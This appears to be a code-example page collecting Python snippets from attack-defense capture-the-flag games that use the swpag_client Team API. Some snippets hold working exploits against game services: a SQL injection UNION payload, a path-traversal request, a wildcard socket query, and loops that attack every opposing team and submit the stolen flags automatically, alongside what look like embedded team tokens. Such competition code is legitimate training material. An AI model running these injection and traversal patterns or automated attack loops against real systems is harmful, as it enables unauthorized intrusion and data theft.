Exemplo n.º 1
0
class PCTFAPI():

    __slots__ = ('team')

    def __init__(self, game_url, team_token):
        self.team = Team(game_url, team_token)

    def getServiceNames(self):

        service_ids = []
        services = self.team.get_service_list()

        for service in services:
            service_ids.append(service['service_id'])

        return service_ids

    def getTargets(self, service):
        targets = self.team.get_targets(service)
        return targets

    def getFLG(self, hostname, flagID):
        kid_url = 'http://' + hostname + ':10003/kid'

        print('Send request to: ' + kid_url)
        sql_injection = "%' UNION SELECT description AS data from parties where id=" + flagID + "; --"
        payload = {'first': 'Hong', 'last': sql_injection, 'age': 30}
        try:
            r = requests.get(kid_url, params=payload)
            res = r.text
            kid_id = res.split()[2]
            print(res)
            print(kid_id)

            find_url = 'http://' + hostname + ':10003/find'
            print('Send request to: ' + find_url)
            find_params = {'kid': kid_id}
            find_r = requests.get(find_url, params=find_params)
            find_res = find_r.text
            flag = find_res.split()[5]
            print(find_res)
            print(flag)
            return flag
        except:
            return None

    def submitFlag(self, flags):
        if not isinstance(flags, list):
            flags = [flags]

        status = self.team.submit_flag(flags)

        for i, s in enumerate(status):
            print("Flag %s submission status: %s" % (flags[i], s))

        return status
Exemplo n.º 2
0
class PCTFAPI():

    __slots__ = ('team')

    def __init__(self, game_url, team_token):
        self.team = Team(game_url, team_token)

    def getServiceNames(self):

        service_ids = []
        services = self.team.get_service_list()

        for service in services:
            service_ids.append(service['service_id'])

        return service_ids

    def getTargets(self, service):
        targets = self.team.get_targets(service)
        return targets

    def getFlag(self):
        #TODO: implement the getFlag logic.
        flag = 'dummy flag'
        return flag

    def submitFlag(self, flags):
        if not isinstance(flags, list):
            flags = [flags]

        status = self.team.submit_flag(flags)

        for i, s in enumerate(status):
            print("Flag %s submission status: %s" % (flags[i], s))

        return status
Exemplo n.º 3
0
        if service['service_name'] not in service_flag_ids:
            service_flag_ids[service['service_name']] = set()
        targets = team.get_targets(service['service_id'])
        for target in targets:
            if not target["team_name"].startswith("fos_"):
                continue
            flag_id = target['flag_id']
            ip = socket.gethostbyname(target['hostname'])
            if ip == "10.9.4.4":
                continue
            port = target['port']
            print("ip:", ip, ", port:", port, ", flag_id:", flag_id)
            if flag_id in service_flag_ids[service['service_name']]:
                print("Skipping... already processed this flag_id.")
                continue
            try:
                conn = remote(ip, port, timeout=30)
                context.log_level = "debug"
                flag = attack_functions[service['service_id']](conn, flag_id)
                print("flag:", flag)
                conn.close()
                result = team.submit_flag(flag)
                print(result)
            except Exception as e:
                print("Error connecting to", target['team_name'],
                      target['hostname'], ip, port)
                print(e)
            service_flag_ids[service['service_name']].add(flag_id)

    time.sleep(10)  # DOS is against the rules
Exemplo n.º 4
0
class ProjectCTFAPI():

    # This is just a simple wrapper class
    # See client.py for more methods supported by self.team

    __slots__ = ('team', 'debug')
    """
		The Team class is your entrypoint into the API
	"""
    def __init__(self, gameIp, teamToken):
        self.debug = False
        self.team = Team(gameIp, teamToken)

    """
		This returns all of the service ids in the game
	"""

    def getServices(self):

        ids = []
        services = self.team.get_service_list()

        if self.debug:
            print("~" * 5 + " Service List " + "~" * 5)

        for s in services:
            ids.append(s['service_id'])

            if self.debug:

                print("Service %s: %s\n\t'%s'" %
                      (s['service_id'], s['service_name'], s['description']))

        return ids

    """
		This returns a list of targets (ports, ips, flag ids) for the given service id
	"""

    def getTargets(self, service):

        targets = self.team.get_targets(service)

        if self.debug:
            print("~" * 5 + " Targets for service %s " % service + "~" * 5)

            for t in targets:

                for key in ['hostname', 'port', 'flag_id', 'team_name']:

                    print("%10s : %s" % (key, t[key]))
                print("\n")

        return targets

    """
		Submit an individual flag "FLGxxxxxxxx" or list of flags ["FLGxxxxxxxxx", "FLGyyyyyyyy", ...]
	"""

    def submitFlag(self, oneOrMoreFlags):

        if not isinstance(oneOrMoreFlags, list):
            oneOrMoreFlags = [oneOrMoreFlags]

        status = self.team.submit_flag(oneOrMoreFlags)

        if self.debug:
            for i, s in enumerate(status):
                print("Flag %s submission status: %s" % (oneOrMoreFlags[i], s))

        return status
Exemplo n.º 5
0
                if not enabled:
                    continue
                print("Attacking team {0} on service {1} using attack {2}... ".
                      format(team_name, svcid, i),
                      end="",
                      flush=True)
                flag = svcmap[svcid][i](hostname, port, flag_id)
                if flag is not None:
                    print("Got flag {0}!".format(flag))
                    flags.add((team_name, flag))
                    break  # don't try later attacks if those are enabled
                else:
                    print("Attack failed!")

    if flags:
        teamlist = list(flags)
        flaglist = [str(f[1]) for f in teamlist]
        print(flaglist)
        results = team.submit_flag(flaglist)
        resobj = {}
        for i, (t, flag) in enumerate(teamlist):
            resobj[t] = (flag, results[i])
        print("Submitting flags:", resobj)
    else:
        print("No flags found! Please investigate.")

    # wait for next tick
    info = team.get_tick_info()
    wait = int(info["approximate_seconds_left"])
    print("Next tick is in approximately {0} seconds.".format(wait))
Exemplo n.º 6
0
class PCTFAPI():

    __slots__ = ('team')

    def __init__(self, game_url, team_token):
        self.team = Team(game_url, team_token)

    def getServiceNames(self):

        service_ids = []
        services = self.team.get_service_list()

        for service in services:
            service_ids.append(service['service_id'])

        return service_ids

    def getTargets(self, service):
        targets = self.team.get_targets(service)
        return targets

    def getFLG(self, hostname, flagID):
        try:
            r = remote(hostname, 10001)
        except:
            print(hostname + ' is down ')
            return None

        r.sendline('2')
        r.sendline(flagID)
        r.sendline('*')

        rl = r.recvall(timeout=1)
        decoded_str = ''
        try:
            decoded_str = rl.decode('utf-8')
            print(decoded_str)
        except:
            print('bad response')
            return None
        m = re.search('FLG[0-9A-Za-z]{13}', decoded_str)
        if m == None:
            r.close()
            return None

        FLG = m.group(0)
        print('captured the flag')
        print(FLG)
        r.close()
        return FLG

    def submitFlag(self, flags):
        if not isinstance(flags, list):
            flags = [flags]

        status = self.team.submit_flag(flags)

        for i, s in enumerate(status):
            print("Flag %s submission status: %s" % (flags[i], s))

        return status
Exemplo n.º 7
0
        continue

    command = 'timeout 5 python exploits/' + sys.argv[3] + '.py '
    command += '172.31.129.' + target['hostname'][-1] + ' ' + str(
        target['port']) + ' ' + str(target['flag_id'])
    try:
        flag = subprocess.check_output(command, shell=True)
    except CalledProcessError:
        log("Failed on: " + str(target['team_name']))
        continue
    log(target['hostname'] + ':' + str(target['port']) + ' - ' + flag)
    if 'FLG' in flag:
        flags.append(flag.strip())
    else:
        fails.append((target, flag.strip()))

# Submit flags
results = t.submit_flag(flags)
for result in results:
    log(result)
    # assert(result == 'correct')

if fails:
    for fail in fails:
        print "----------------------"
        print "Failed exploits"
        print "----------------------"
        print fail[0]
        print fail[1]
        print "----------------------"
Exemplo n.º 8
0
import json
import requests
from swpag_client import Team

team = Team('http://34.211.129.130', 'WOfdkzdhsZEIlPEIai49')

targets = team.get_targets(2)
flags = []
for target in targets:
    print(target)
    url = f'http://{target["hostname"]}:{target["port"]}/?page=../append/{target["flag_id"]}.json'
    print(f'request url: {url}')
    resp = requests.get(url)
    print(f'response: {resp.text}')
    if "password" in resp.text:
        try:
            content = json.loads(resp.text)
            print(f'content: {content}')
            flags.append(content['password'])
            team.submit_flag([content['message']])
        except Exception as e:
            print('some error occurred')
Exemplo n.º 9
0
from swpag_client import Team

t = Team("http://teaminterface.ictf.love/", "W7PMqeQCuYjVeL03UnV3")

flags = ['FLGxxxxxxxxxxxxx']

print(t.submit_flag(flags))
Exemplo n.º 10
0
        targets = team.get_targets(service['service_id'])
        flag_list = []
        for target in targets:
            flag_id = target['flag_id']
            ip = team_ip(target['hostname'])

            port = target['port']
            if flag_id not in service_flag_ids[service['service_name']]:
                try:
                    coinn = remote(ip, port, timeout=1)

                    # exploitation happens here
                    conn.sendline(
                        '{"service": "flag", "op": "getflag", "id": "%s", "token": ""}'
                        % flag_id)
                    flag = json.loads(conn.recv().strip())['flag']

                    conn.close()
                    flag_list.append(flag)
                    print("HACKED")
                except Exception as e:
                    print("Error connecting to", target['team_name'],
                          target['hostname'], ip, port)
                    print(e)

                service_flag_ids[service['service_name']].add(flag_id)

        result = team.submit_flag(flag_list)
        print result
    time.sleep(10)  # DOS is against the rules
Exemplo n.º 11
0
 def validate_flag(self,args):
     t = Team(None, "API_KEY")
     return t.submit_flag([args['flag']])
Exemplo n.º 12
0
class ProjectCTFAPI():

    # This is just a simple wrapper class
    # See client.py for more methods supported by self.team

    __slots__ = ('team', 'debug')
    """
		The Team class is your entrypoint into the API
	"""
    def __init__(self, gameIp, teamToken):
        self.debug = False
        self.team = Team(gameIp, teamToken)

    """
		This returns all of the service ids in the game
	"""

    def getServices(self):

        ids = []
        services = self.team.get_service_list()

        if self.debug:
            print("~" * 5 + " Service List " + "~" * 5)

        for s in services:
            ids.append(s['service_id'])

            if self.debug:

                print("Service %s: %s\n\t'%s'" %
                      (s['service_id'], s['service_name'], s['description']))

        return ids

    """
		This returns a list of targets (ports, ips, flag ids) for the given service id
	"""

    def getTargets(self, service):

        targets = self.team.get_targets(service)

        if self.debug:
            print("~" * 5 + " Targets for service %s " % service + "~" * 5)

            for t in targets:

                for key in ['hostname', 'port', 'flag_id', 'team_name']:

                    print("%10s : %s" % (key, t[key]))
                print("\n")

        return targets

    """
		Submit an individual flag "FLGxxxxxxxx" or list of flags ["FLGxxxxxxxxx", "FLGyyyyyyyy", ...]
	"""

    def submitFlag(self, oneOrMoreFlags):

        if not isinstance(oneOrMoreFlags, list):
            oneOrMoreFlags = [oneOrMoreFlags]

        status = self.team.submit_flag(oneOrMoreFlags)

        if self.debug:
            for i, s in enumerate(status):
                print("Flag %s submission status: %s" % (oneOrMoreFlags[i], s))

        return status

    def getFLG(self, hostname, flagID):
        # Please change port id accordingly
        r = remote(hostname, 20003)

        #below is the exploit of Backup service of CTF3
        # Please change the exploit interaction accordingly
        r.sendline('2')
        r.sendline(flagID)
        r.sendline('*')

        # Receive data from victim service
        # Use python regular expression to search flag
        rl = r.recvall(timeout=1)
        m = re.search('FLG[0-9A-Za-z]{13}', rl)
        # If no flag (service is patched), then close the remote connection and return none
        if m == None:
            r.close()
            return None

        # If find flag, print it, close the connection and send the flag back to main.
        FLG = m.group(0)
        print FLG
        r.close()
        return FLG